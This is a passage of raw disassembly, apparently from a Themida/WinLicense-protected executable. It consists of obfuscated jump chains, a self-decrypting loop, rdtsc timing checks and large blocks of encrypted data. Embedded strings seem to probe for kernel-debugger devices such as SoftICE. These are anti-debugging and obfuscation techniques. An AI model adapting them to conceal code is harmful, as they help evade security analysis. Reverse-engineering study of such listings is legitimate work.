91h jmp loc_56365F ; --------------------------------------------------------------------------- loc_565B03: ; CODE XREF: Themida_:005604F3j add esp, 4 sub esi, 7DBB6BFBh jmp loc_550B53 ; --------------------------------------------------------------------------- loc_565B11: ; CODE XREF: Themida_:00552837j add edi, ebp mov ebp, [esp] jmp loc_551120 ; --------------------------------------------------------------------------- loc_565B1B: ; CODE XREF: Themida_:0055B067j neg eax xchg eax, edx push ecx push edx pop ecx pop edx xor ebp, ecx xor ecx, ebp xor ebp, ecx shr ebp, 4 xor ebp, 3035426Eh jmp loc_550A9E ; --------------------------------------------------------------------------- loc_565B36: ; CODE XREF: Themida_:005590C2j mov esi, esp add esi, 4 push ecx mov ecx, esp push eax push 4EA71FA0h pop eax neg eax jmp loc_55F833 ; --------------------------------------------------------------------------- loc_565B4F: ; CODE XREF: Themida_:00552B84j or esi, ecx push dword ptr [esp] jmp loc_55F26F ; --------------------------------------------------------------------------- loc_565B59: ; CODE XREF: Themida_:005629D2j push ebx mov ebx, 10050983h shr ebx, 5 or ebx, 0F377A94h dec ebx sub esp, 4 mov [esp], eax push edi mov edi, 1E66C23Fh jmp loc_55F130 ; --------------------------------------------------------------------------- loc_565B7D: ; CODE XREF: Themida_:005587CCj push 7AB7h mov [esp], eax push esp pop eax push ecx push edi push 308F5ADFh mov edi, [esp] push esi jmp loc_55B1A3 ; --------------------------------------------------------------------------- loc_565B97: ; CODE XREF: Themida_:0055DEC7j movzx cx, ah push small 13FCh mov [esp], cx movzx cx, al push cx pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_565BAF: ; CODE XREF: Themida_:0055718Bj push 4DF36FE4h mov edx, [esp] push esi jmp loc_55A4BD ; --------------------------------------------------------------------------- loc_565BBD: ; CODE XREF: Themida_:00559726j push small 15h mov [esp], ax jmp loc_5535CC ; --------------------------------------------------------------------------- loc_565BCA: ; CODE XREF: Themida_:0055F4CFj add esp, 4 jmp loc_55DD01 ; --------------------------------------------------------------------------- loc_565BD2: ; CODE XREF: Themida_:00564BE7j sub ebx, 0FFFFFFFFh xor ebx, 41AC535Dh add eax, 72DF7901h add eax, 5B7C1545h sub eax, 5F9F57A4h sub eax, ebx add eax, 5F9F57A4h push edx mov edx, 56CC6E56h not edx sub edx, 1 jmp loc_561762 ; --------------------------------------------------------------------------- loc_565C04: ; CODE XREF: Themida_:005570C5j pop edx push ecx mov ecx, esp jmp loc_5567F8 ; --------------------------------------------------------------------------- loc_565C0D: ; CODE XREF: Themida_:0056108Cj mov edi, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 1 and eax, ebp pop ebp or edx, eax shl edx, 1 push ecx push edx mov edx, 1 mov ecx, edx mov edx, [esp] add esp, 4 push 8A6h mov [esp], eax push ebx mov ebx, 421E5A62h or ebx, 7FA67195h jmp loc_564564 ; --------------------------------------------------------------------------- loc_565C53: ; CODE XREF: Themida_:00557318j xor [esp], edi xor edi, [esp] pop esp shr eax, 0Ch xor eax, ecx sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], esp jmp loc_550914 ; --------------------------------------------------------------------------- loc_565C76: ; CODE XREF: Themida_:00564669j mov eax, 20E0017h add ebp, eax mov eax, [esp] add esp, 4 add edi, ebp mov ebp, [esp] add esp, 4 push eax jmp loc_55E5B7 ; --------------------------------------------------------------------------- loc_565C94: ; CODE XREF: Themida_:00561CE9j mov ebx, 4023727Ch xor ebx, 24610389h sub esi, ebx pop ebx add esi, edi jmp loc_550E04 ; --------------------------------------------------------------------------- loc_565CA9: ; CODE XREF: Themida_:0055DD5Fj add ecx, eax push edi mov edi, 707750B7h jmp loc_557C80 ; --------------------------------------------------------------------------- loc_565CB6: ; CODE XREF: Themida_:0055D90Aj mov ebx, [esp] add esp, 4 sub esp, 4 jmp loc_553CF0 ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_565CD0: ; CODE XREF: Themida_:00543CF6j ; Themida_:00565CD7j call sub_565CDA sub [edx], ebp jno short loc_565CD0 cld ; =============== S U B R O U T I N E ======================================= sub_565CDA proc near ; CODE XREF: Themida_:loc_565CD0p var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00543FDB SIZE 0000004D BYTES ; FUNCTION CHUNK AT 00548440 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0054C5EC SIZE 00000007 BYTES add edx, 50531626h pop esi xor ecx, 692585D5h add esi, 6C9Dh sub ebx, ebx xor edx, 599012ABh loc_565CF5: ; CODE XREF: sub_565CDA+6Bj push dword ptr [ebx+esi] pop eax mov [ebp+60B0881h], edi add eax, 10E5DCACh xor eax, 6B28EE53h mov edx, [ebp+60B2D7Dh] sub eax, 50A3A4F6h mov edx, [ebp+60B16B5h] mov [esi+ebx], eax cld and edx, 7CFFC246h sub ebx, 1C1A73B8h mov [ebp+60B1B11h], eax add ebx, 1C1A73B4h jg $+6 cmp ebx, 0FFFF93E4h jnz loc_565CF5 jmp loc_565D5A ; --------------------------------------------------------------------------- dd 6D0E901Dh, 27042A5Ah db 0C9h, 4 ; --------------------------------------------------------------------------- loc_565D5A: ; CODE XREF: sub_565CDA+71j jmp short loc_565D92 ; --------------------------------------------------------------------------- dd 52455355h, 642E3233h, 41006C6Ch, 50415644h, 2E323349h dd 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D7006Ch, 7, 11001Dh dd 110033h, 9C0802CDh ; --------------------------------------------------------------------------- cdq dec ecx loc_565D92: ; CODE XREF: sub_565CDA:loc_565D5Aj jmp loc_56667F ; --------------------------------------------------------------------------- push 60D9DE8h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60D9E8Eh jmp loc_543FDB ; --------------------------------------------------------------------------- push 60D9F84h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60DA0D8h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60DA13Ch jmp loc_543FDB ; --------------------------------------------------------------------------- push 60DA26Fh jmp loc_543FDB ; --------------------------------------------------------------------------- push 60DA2D8h jmp loc_543FDB ; --------------------------------------------------------------------------- db 0E7h, 93h, 0A4h dd 0A474EBFh, 0DCED3CE9h, 0A190E607h, 704F55B2h, 0EE0D54E3h dd 5F48ABAAh, 0FF87B46h, 0F815CEF9h, 0B84192AFh, 80483CB0h dd 70DFC599h, 0BB33BD88h, 0C3941DCFh, 79066300h, 0DFB85A39h dd 4E584DFBh, 6FFD8616h, 9FEEC2C7h, 187F43BDh, 0BBF397CEh dd 7E059712h, 820978ECh, 0BC869D84h, 66F002C8h, 8486BACEh dd 3D350DD9h, 0D9848649h, 724AE4DEh, 0A3CB112Ah, 0A78F8D2Eh dd 0E4DB23D2h, 67F5CD4Ah, 8A506DB6h, 614E3B55h, 0ABBE0C26h dd 0FB1D3A41h, 1BDC0A50h, 0AE945289h, 2934BA50h, 0C8050EFFh dd 50B1303Fh, 2CE3676Ch, 75Ah, 0ED5EC36h, 0B8BB96E1h, 0D60D3C4Fh dd 1D2E139h, 0B2A19CE4h, 0FB01DC03h, 0A9EE1FC4h, 565E4F94h dd 0FE0BE47Fh, 1EB10C3h, 998099EDh, 399F6EC5h, 14F8D5DEh dd 98058814h, 0F4C8BC8Dh, 941D087Ch, 0E52E9FC3h, 4A90F4E8h dd 60303C15h, 0DD8A9312h, 7153E7E3h, 0CEA04EA2h, 992BDEA6h dd 0C32911BDh, 0EC00C3D2h, 3A66E398h, 43372B6Fh, 5978BE0Fh dd 0C4D03DAFh, 168D9652h, 0BD0C91D5h, 91F55964h, 0A730AFBDh dd 0BEA41D5Ch, 45A245E3h, 0C9B00433h, 8BFF77BCh, 1C3A667Ah dd 3405C226h, 6F866442h, 6B4249Bh, 46500000h, 0EC3BD40Fh dd 9AE906DDh, 4B53BCA7h, 0FA3EEF74h, 0B2B918DBh, 0E57E415Bh dd 15CEF308h, 4291ACF8h, 0FE6550A5h, 3357DF0Dh, 0B4C59983h dd 0D5DE5FC5h, 50A514F8h, 0B094A5F0h, 4F5E54CCh, 0F3C2D8C5h dd 231DCB0Fh, 32400D0Ah, 4527h, 832BB500h, 0C39415C7h dd 6ED47248h, 7BF8D5DEh, 823C72E9h, 40591178h, 27A7B0A6h dd 0C5C3941Dh, 0A7B70596h, 9D4B642Ch, 896A67B0h, 0A6B4CFADh dd 9E057B0Eh, 64F6CCBDh, 83506FB9h, 573B1262h, 621F0h dd 50BD1800h, 72DB7548h, 48A01421h, 536ABA34h, 1C79ED7Fh dd 91BD9F1Ch, 0DA56DA72h, 3047DE9Bh, 3122D01h, 0C4DCA1ADh dd 0F01DCF23h, 0DAF901A5h, 7EAF48E6h, 9BDB1835h, 7CF07A01h dd 446DF1CFh, 5F07A40h, 0EE1FC4F3h, 33BDAFA6h, 72B9CFBBh dd 0CC7A4030h, 0B5809544h, 7004F1BAh, 453A088Ch, 5BEh dd 0E271485Ah, 1CC7F205h, 4AA9A0F3h, 0E57E455Dh, 16CDF008h dd 5FA5B8AFh, 0D12F360h, 0B2C22330h, 5AAF589Bh, 0E507F46Fh dd 99820541h, 453B8AC5h, 14F8D5DEh, 5430B4C6h, 0DBC3941Dh dd 0B3C449E7h, 0D5C90013h, 8273F161h, 0DFC407Dh, 44C8F7h dd 25A0022Ch, 0ED990D9Fh, 62C3941Dh, 19EDBBC3h, 0C12573B6h dd 0E7055F27h, 0B33BC394h, 0C394E5D7h, 0AC0E6258h, 3241E970h dd 0FFFEF557h, 50BDB1FFh, 9A850944h, 0A013AEC9h, 45E3C759h dd 0F074BFC8h, 0C394D194h, 7FC3271Bh, 14C65D3Fh, 9FFABD90h dd 0E52EDFBDh, 592064E8h, 74D37D40h, 91184BD5h, 19477A6Dh dd 4C3BA3F6h, 68FC6E42h, 3A61E41Ch, 0A84BAF93h, 4795AECEh dd 6ADD462Fh, 7FC33744h, 7EF096F7h, 6E9F4D30h, 0B8FA1429h dd 5D38A72Dh, 146D47C0h, 4C300F19h, 50A51408h, 93BD9165h dd 2A6580A9h, 15CA926h, 46B70000h, 0D3683430h, 5A0E509h dd 5DA5BD9Fh, 0E8B5EC7Ah, 0E7B512BAh, 67668E5Ch, 0E89D859Fh dd 0AECE2E92h, 86354795h, 0C5DD50F7h, 714C593Bh, 6E63F31Dh dd 0FFA79024h, 53A4519Bh, 0F109F466h, 1E217BC2h, 8F577F0h dd 197DC1FCh, 38151EEFh, 52B0662Fh, 0DABD956Ch, 46Ah, 1EC5FC06h dd 48ABA6F1h, 0E67D4C5Fh, 11C2F109h, 4291ACF4h, 0B11ECF3h dd 0B9FE2F34h, 66AE5F84h, 0E1BF46Fh, 11DB2033h, 99BDE99Dh dd 298F7EC5h, 0E4760D6Fh, 99B0D040h, 0F17B5FBDh, 1EC5F004h dd 24A8A7F1h, 64608416h, 0AB3A667Eh, 11091ABBh, 0A3976010h dd 427F8885h, 63ABD285h, 46390986h, 406h, 0BAB990E2h, 0D40F3A4Dh dd 2D1E83Bh, 0BDA69DE5h, 0EE754850h, 97ED0057h, 455A4BA8h dd 0FA0AFB78h, 0A2F710C3h, 0ADBF4C97h, 99BC4D39h, 8D73C2C5h dd 84150BDh, 0BA1A6FDEh, 94785C69h, 77425746h, 7CBF50C8h dd 18361DBFh, 61D5E035h, 0BC2ABBF1h, 0C3942EE6h, 0AC102F77h dd 6A967468h, 46324122h, 0E8724D57h, 94200044h, 95B387C3h dd 0FFFD49CCh, 0D5DE28FFh, 7B8372F8h, 0ABA6F544h, 795957Dh dd 0B15CEE7Ch, 0ACE0546Bh, 5B635993h, 0DF093F02h, 9F086217h dd 297FAEBDh, 2F13F01Eh, 33BDCC34h, 941DCFBBh, 937A40C3h dd 8DC1B584h, 635F7263h, 4ED80219h, 1DDCA83Ch, 0FA53C394h dd 0D5299DA4h, 0BA8F57F1h, 8BBD9F05h, 49DE7B6Ch, 67F5C966h dd 6075BBCFh, 0D2360C3Ah, 0A40369FDh, 791E276h, 48E89BEFh dd 0F8166C92h, 9943D8A4h, 0CA5ECA22h, 0EA04F7F5h, 369DEC00h dd 0BD12EC43h, 95E95D68h, 0CFADCDB1h, 730EA6B4h, 0C4F64E11h dd 74816CFEh, 0F7019359h, 51D30B7Fh, 0AEA69C86h, 8651D3DAh dd 38BB55ADh, 408FBACFh, 3A90E841h, 0D3BD12F0h, 0B1000002h dd 18F56E65h, 0C6273C0Dh, 0B05D86BBh, 1F886B6Ah, 9A393A05h dd 5D60B853h, 2D106986h, 0F0CFD936h, 44718263h, 76FE729Fh dd 0C599BF12h, 6FBE2695h, 5AE4760Dh, 941DB6D2h, 27C139C3h dd 0B07B2145h, 8EF4BD99h, 6867B15Ch, 330A1A8Bh, 99A4FC29h dd 0D337D135h, 6FB9196Ah, 0B4A8EC50h, 6451F8BBh, 6C232786h dd 26Ah, 1EC5FC06h, 48ABA6F1h, 0E67D4C5Fh, 11C2F109h, 4291ACF4h dd 0B11ECF3h, 0B9FE2F34h, 66AE5F84h, 0E1BF46Fh, 11DB2033h dd 99BFE99Dh, 298F7EC5h, 0E4760D6Fh, 6D5CAB5Ah, 0C8BC8D9Ch dd 208A5AF4h, 1BBD99B0h, 0E183B3FCh, 0F7EB6094h, 0D764DB65h dd 7976F5D5h, 381C2D78h, 0DFEA3F0Eh, 1F6B830Dh, 903A66F1h dd 0BBFB7CAAh, 1D915BE0h, 3A66F163h, 46EE78F4h, 3A66F102h dd 0D1B5BD85h, 563A66F1h, 0D584086Ch, 0BB6AF0CFh, 4E178763h dd 0BAAB2BBDh, 0D245F246h, 4C43F295h, 0A4F746BAh, 0B5977B95h dd 0C09C34ABh, 64A62500h, 63943CAh, 61FA81DDh, 0A21F73FBh dd 3F903A66h, 1569DDECh, 8B9C4D31h, 3841ACBEh, 0A20F7BF3h dd 0BA803A66h, 6AA0A846h, 0A0B38E9Bh, 50D1B724h, 4A6143DBh dd 6964B19Ch, 0F4A95C83h, 0AD112C75h, 0FA4DAE69h, 4F868AA4h dd 1697D1FDh, 26196392h, 1EF00508h, 49CF27DDh, 0C2D1B8ECh dd 0E3C73B8Fh, 0FE09F470h, 21D5B135h, 605A3A66h, 1E6BE20Ch dd 785C61B6h, 0E0DF2594h, 6560A21Ch, 855E6BBCh, 3F2D1068h dd 0E052C8CEh, 73D4DC11h, 39113F13h, 125482C8h, 77FF0993h dd 3A668313h, 28BCAE94h, 3A66835Ch, 0CC41EFD3h, 0BD6A89B4h dd 63925867h, 60A241Bh, 82764157h, 6B901D97h, 5F62BB11h dd 0FA0FF87Bh, 0DDEB7BCFh, 0ECF21426h, 2E5AD25Ch, 0A182EB2Ah dd 0F8F5AF59h, 28CB0613h, 0BF29719Ch, 0CD7B5F6Ah, 0B61A3740h dd 3E82BDC7h, 8509384Fh, 2A4B3FB7h, 0E6DC82EBh, 43370217h dd 0EC9E2F01h, 60B76684h, 539DA651h, 0FC7C6D3Fh, 0AC555052h dd 18F56E5Bh, 0B328320Fh, 891DE9B4h, 82EB5AFDh, 5FCF0872h dd 0E8608E2Bh, 285CD062h, 0BF82EB58h, 8B11AD5Bh, 4ED86AF0h dd 0EB58A226h, 33DD2582h, 0E0414EA3h, 0B1BB9FFCh, 7FB8F27h dd 804CF8E0h, 0E007186Ch, 0B7ABEFF8h, 0FC80DE99h, 3B71F567h dd 0D986EDAAh, 40EEDB2Ch, 0C10BFFC3h, 15B7C79Ah, 7FA9CB72h dd 0AB48858Eh, 0A81C297Ah, 66B7F4B8h, 0C7C6DC40h, 0E60ED5DEh dd 264675E2h, 3A391D65h, 398DB8CDh, 870B4A50h, 668F1E9Ah dd 0D233201Dh, 3A00F4C1h, 32A69285h, 0C8662EFFh, 1153h dd 0BB528900h, 0FB45F966h, 80BFC5B4h dd 0C82ED83Ch, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h dd 68CF7BCFh, 3F01h, 81241C89h, 4ECh, 243C8900h, 5E08950h dd 4, 42Dh, 24048700h, 2434895Ch, 0D9D3968h, 243C8B06h dd 4C481h, 0F8680000h, 89000048h, 4812424h, 424h, 7C685E00h dd 8900001Ch, 468F243Ch, 24348B08h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] pop esp push [esp+3Ch+var_3C] pop edi add esp, 4 jmp loc_543FDB ; --------------------------------------------------------------------------- setalc mov bh, 62h cdq loc_56667F: ; CODE XREF: sub_565CDA:loc_565D92j mov eax, 60DA567h add eax, ebp jmp eax sub_565CDA endp ; sp-analysis failed ; --------------------------------------------------------------------------- das inc ecx xor [edi], cl sal dword ptr [edi-0B079321h], 1 sub eax, [ecx] pop ebp jl short loc_56670A dec eax jmp loc_56670F ; --------------------------------------------------------------------------- pusha cmp dword ptr [ebp+60B1995h], 0 jz loc_5666B0 jmp loc_56670D ; --------------------------------------------------------------------------- loc_5666B0: ; CODE XREF: Themida_:005666A5j push 0 cmp byte ptr [esi], 30h jnz loc_5666C3 push 0 inc esi jmp loc_5666F8 ; --------------------------------------------------------------------------- loc_5666C3: ; CODE XREF: Themida_:005666B5j cmp byte ptr [esi], 33h jnz loc_5666D4 push 10h inc esi jmp loc_5666F8 ; --------------------------------------------------------------------------- loc_5666D4: ; CODE XREF: Themida_:005666C6j cmp byte ptr [esi], 34h jnz loc_5666E5 push 30h inc esi jmp loc_5666F8 ; --------------------------------------------------------------------------- loc_5666E5: ; CODE XREF: Themida_:005666D7j cmp byte ptr [esi], 35h jnz loc_5666F6 push 40h inc esi jmp loc_5666F8 ; --------------------------------------------------------------------------- loc_5666F6: ; CODE XREF: Themida_:005666E8j push 0 loc_5666F8: ; CODE XREF: Themida_:005666BEj ; Themida_:005666CFj ... lea eax, [ebp+60B16C5h] push eax mov [esp], eax xchg eax, esi push eax xchg eax, esi push 0 ; --------------------------------------------------------------------------- db 0FFh db 95h, 0D9h ; --------------------------------------------------------------------------- loc_56670A: ; CODE XREF: Themida_:00566695j or ecx, [ebx] push es loc_56670D: ; CODE XREF: Themida_:005666ABj popa retn ; --------------------------------------------------------------------------- loc_56670F: ; CODE XREF: Themida_:00566698j mov byte ptr [ebp+60B2845h], 4Dh push 0B2899173h xor dword ptr [esp], 16BCE7DBh push dword ptr [ebp+60B0315h] lea eax, [ebp+60B390Dh] call eax mov [ebp+60B0BD9h], eax jmp short loc_566756 ; --------------------------------------------------------------------------- dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h dd 5C2E5C5Ch, 4349544Eh db 45h, 0 ; --------------------------------------------------------------------------- loc_566756: ; CODE XREF: Themida_:00566736j mov eax, eax mov edi, eax cmp dword ptr [ebp+60B05BDh], 0 jnz short loc_56676C cmp dword ptr [ebp+60B29D1h], 0 jz short loc_566785 loc_56676C: ; CODE XREF: Themida_:00566761j push eax push ebx mov eax, eax mov eax, 40Fh mov [ebp+60B2A35h], eax lea ebx, [ebp+60DB31Ah] call ebx pop ebx pop eax loc_566785: ; CODE XREF: Themida_:0056676Aj cmp dword ptr [ebp+60B29D1h], 0 jz short loc_5667A5 push eax push ebx mov eax, 40Fh mov [ebp+60B2A35h], eax lea ebx, [ebp+60DB009h] call ebx pop ebx pop eax loc_5667A5: ; CODE XREF: Themida_:0056678Cj push ebx add esi, [ebp+60B0561h] pop edx mov eax, eax pusha add edx, [ebp+60B2061h] popa mov byte ptr [ebp+60B2845h], 43h mov edi, [ebp+60B01FDh] call sub_5667CD cld outsb ; --------------------------------------------------------------------------- db 8Eh db 0BCh ; =============== S U B R O U T I N E ======================================= sub_5667CD proc near ; CODE XREF: Themida_:005667C4p call sub_5667DA and al, 4Dh cld pusha test [ebp+16h], edx in eax, dx sub_5667CD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5667DA proc near ; CODE XREF: sub_5667CDp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0056684F SIZE 00000003 BYTES mov esi, 57DDE9D4h pop ecx push eax mov dx, di mov eax, [esp+arg_0] push eax push edx mov edi, 0AC1B280h rdtsc push eax push edx mov esi, ecx rdtsc mov cl, 4Bh pop edx pop eax pop edx pop eax mov eax, [eax] call near ptr loc_566812+4 setalc rcl dword ptr [ecx-1979E7CDh], cl outsd pop edi out 0F0h, eax ; AT 80287 latch clear. ; 'Busy' gets latched upon an unmasked 287 error. outsb jo short loc_56684F loc_566812: ; CODE XREF: sub_5667DA+25p test eax, 8B5D372Eh sub_5667DA endp ; sp-analysis failed sti pop esi mov [esp+4], eax pop eax or [ebp+60B2291h], edx push dword ptr [ebp+60B0B01h] movzx esi, ax lea eax, [ebp+60B390Dh] cmc call eax mov di, ax nop push eax mov di, bx nop sub [ebp+60B280Dh], eax push 0 push 0 push edx call sub_566852 ; START OF FUNCTION CHUNK FOR sub_5667DA loc_56684F: ; CODE XREF: sub_5667DA+36j and [edx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5667DA ; =============== S U B R O U T I N E ======================================= sub_566852 proc near ; CODE XREF: Themida_:0056684Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_566852 endp ; --------------------------------------------------------------------------- dw 66A8h dd 8D29CB8Bh, 60B169Dh, 4E8h, 8000h, 11E96000h, 4D000000h dd 0F215C894h, 0FC57B3C8h, 5F3AF5D2h, 0DB89DCD8h, 52505061h dd 310F9BB1h, 585ACE8Bh, 424448Bh, 952BBF66h, 5250008Bh dd 13E8h, 5940A500h, 3F5443F4h, 0C378F94Eh, 6220369h, 0D01088FAh dd 0F5A8BB1h, 0DCE4BA31h, 585A0724h, 4244489h, 12E9h, 0ADF77800h dd 0E484CFA2h, 0AA295026h, 0E6297440h, 58C9C318h, 6800Fh dd 8D8B0000h, 60B1B61h, 6A036Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 879237C3h, 0FF9A6890h dd 3DBD893Ah, 6A060B00h, 4870F00h, 66000000h, 6AF1C9BFh dd 52006A03h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 679CE7BBh, 14697A36h, 830FBF7Ah, 0 ; --------------------------------------------------------------------------- push 0F8BD9C82h mov di, ax xor dword ptr [esp], 38BD9C82h push 0 push ebx call sub_56696E and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_56696E proc near ; CODE XREF: Themida_:00566966p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_56696E endp ; --------------------------------------------------------------------------- dw 7EDAh dd 888B8BFCh, 9D89603Bh, 60B01B9h, 23ED952Bh, 8D61060Bh dd 0DA6949Dh, 6693F906h, 6650FE8Bh, 932B82BEh, 0BD89D0FFh dd 60B0B45h, 10850F40h, 0E9000003h, 0Bh, 0C8FEB068h, 5303682Fh dd 58F489DFh, 7E9h, 58FDCC00h, 6B6AAABBh, 7E890h, 38340000h dd 1779C69Dh, 6160538Ah, 60505A5Fh, 0AE9h, 3B7BFE00h, 2C28537Eh dd 0F3DFA5Dh, 86h, 0E8906100h, 0Ah, 0BDD9F921h, 7DAA246Ah dd 0B5017B44h, 60B1899h, 0F006A5Fh, 38Dh, 0BDD98000h, 562B9C68h dd 0E852503Bh, 0Fh, 0FCD598C6h, 9A50A1A8h, 1B635D57h, 666D5F35h dd 0F59D38Bh, 7E931h, 66D0000h, 0C3F032F3h, 81585AA1h dd 2B1C2434h, 6A3B56h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 926708C3h, 0ACBA8A97h, 6AE7F280h dd 57006A03h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0EDFA21Dh, 9563D742h, 14E8006Ah, 0E7000000h dd 31BB9530h, 0ED703EAEh, 5C7F438Dh, 6E464F4h, 66D2C4C4h dd 0D32C181h, 66036A5Ah, 2A1D781h, 4E8h, 0 dd 0E95250C0h, 0Dh, 2C997174h, 0FE784EBCh, 0F9464AC0h dd 0BA310FC0h, 3C8C7CC4h, 8B50585Ah, 0E9042444h, 10h, 0BD241329h dd 0DBCBC587h, 49B6272Bh, 65E858B4h, 4489008Bh, 8B660424h dd 8DF958D6h, 0DA69D9Dh, 0DDB50106h, 93060B06h, 8B50EC8Ah dd 6A93D6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 0D126D7C3h, 75D90191h, 0D18B662Eh, 8166D0FFh dd 81C297E1h, 8512C2F6h, 850F4014h, 167h, 2B719589h, 8958060Bh dd 0B138595h, 52609006h, 0AE8h, 0DEF8FC00h, 0E7183AD4h dd 5A7510D3h, 2830F5Eh, 50000000h, 6650615Bh, 6090CB8Bh dd 9D89C38Ah, 60B12C5h, 6A006A61h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 647DC351h dd 0B9B596CFh, 378D4F16h, 10E8h, 0A7B5E900h, 48E21701h dd 2BE47770h, 0F866975Eh, 0E85EF818h, 4, 80h, 8A505F56h dd 24448BD7h, 9E804h, 4E7D0000h, 2583BB8Fh, 6638AAF1h dd 5EB64EBAh, 0F60008Bh, 8Ch, 54D0BB00h, 89617F98h, 50042444h dd 6E952h, 7FEA0000h, 1C49EE3Dh, 0B966310Fh, 585ADC7Fh dd 0F1B52958h, 6A060B2Dh, 9CC98103h, 6A2DB456h, 6870F00h dd 2B000000h, 0B270D95h, 89036A06h, 0B0E4585h, 0DB8A6806h dd 0BE6698FEh, 3481F8C1h, 0FEDB8A24h, 9D8DF958h, 60DA6A8h dd 941BD01h, 8B93060Bh, 0EC8A50D3h, 79BD8B93h, 0FF060B27h dd 5840FD0h, 0B9000000h, 58C2CB54h, 40850F40h, 0F000000h dd 280h, 58D48A00h, 0E9FB8B66h, 14Ah, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 64C35343h, 0EE9h, 0F618C300h dd 9B07B1D3h, 0F7367CFh, 8B02FBD9h, 0D6B70FD8h, 59BD8B4Bh dd 58060B2Eh, 0CE9h, 0FD0D300h, 6605AAFCh, 1D80F83Eh, 4585C60Dh dd 43060B28h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0B1C35646h, 80253EDDh, 0AC687FE6h, 53697618h, 5ACA8B66h dd 0FB240481h, 8B570031h, 0B07058Dh, 1B5FF06h, 89060B0Bh dd 0B3315BDh, 0E1958B06h, 8D060B19h, 0B390D85h, 55858906h dd 0FF060B1Ah, 0AD181D0h, 934B34F0h, 0EE8h, 8217A100h dd 0AE520D2Dh, 0B4A38119h, 595736BAh, 935E5650h, 31659589h dd 0D0FF060Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 45C35343h, 0E6D034AAh, 0DA292001h, 12E9h, 86E67F00h dd 0A3FDB914h, 0DD92A510h, 0A3311641h, 0B948D24h, 0B116195h dd 59D8D06h, 0E9060B73h, 11h, 63BEB273h, 17C4A772h, 3476E12Fh dd 6972C5DCh, 1B8DCh, 7E90000h, 0C2000000h, 4E341821h dd 0E3FFB6E0h, 22FDBD29h, 0C18B060Bh, 8BF2B70Fh, 0E7F5BAC0h dd 0BD8348FAh, 60B05BDh, 83097500h, 0B29D1BDh, 19740006h dd 0C08B5350h, 40FB8h, 99858900h, 8D060B12h, 0DB3819Dh dd 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h, 40FB8h, 99858900h dd 8D060B12h, 0DB0229Dh, 5BD3FF06h, 5EB1B958h, 8D8B07EBh dd 60B103Dh, 0AAE9C08Bh, 53000000h, 7774666Fh, 5C657261h dd 4C6E6957h, 6E656369h, 43006573h, 6B636568h, 58004E49h dd 746F7270h, 74697845h, 65684300h, 554F6B63h, 69570054h dd 63694C6Eh, 65736E65h, 73726556h, 6E6F69h, 4C6E6957h dd 6E656369h, 72446573h, 72657669h, 73726556h, 6E6F69h dd 4C6E6957h, 6E656369h, 6E496573h, 6E617473h, 45006563h dd 4F746978h, 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h dd 69784500h, 4E4974h, 74697845h, 54554Fh, 4E497054h, 3 dup(0) dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h, 60DAE3Dh dd 0AE39858Dh, 8D50060Dh, 0DADA385h, 1685006h, 0FF800000h dd 0DAE4995h, 0FF196A06h, 0DAE3DB5h, 6A016A06h, 0D2858D00h dd 50060DADh, 0AE39B5FFh, 95FF060Dh, 60B2F01h, 0AE39B5FFh dd 95FF060Dh, 60DAE45h, 0AE39B5FFh, 95FF060Dh, 60B2ACDh dd 3D8589C3h, 8D060DAEh, 0DAE3985h, 858D5006h, 60DADA3h dd 16850h, 95FF8000h, 60DAE49h, 858D046Ah, 60DAE3Dh, 6A046A50h dd 0FC858D00h, 50060DADh, 0AE39B5FFh, 95FF060Dh, 60B2F01h dd 0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh, 95FF060Dh dd 60B2ACDh, 3D8589C3h, 8D060DAEh, 0DAE3985h, 858D5006h dd 60DADA3h, 16850h, 95FF8000h, 60DAE49h, 858D046Ah, 60DAE3Dh dd 6A046A50h, 0E4858D00h, 50060DADh, 0AE39B5FFh, 95FF060Dh dd 60B2F01h, 0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh dd 95FF060Dh, 60B2ACDh, 3D8589C3h, 8D060DAEh, 0DAE3985h dd 858D5006h, 60DADA3h, 16850h, 95FF8000h, 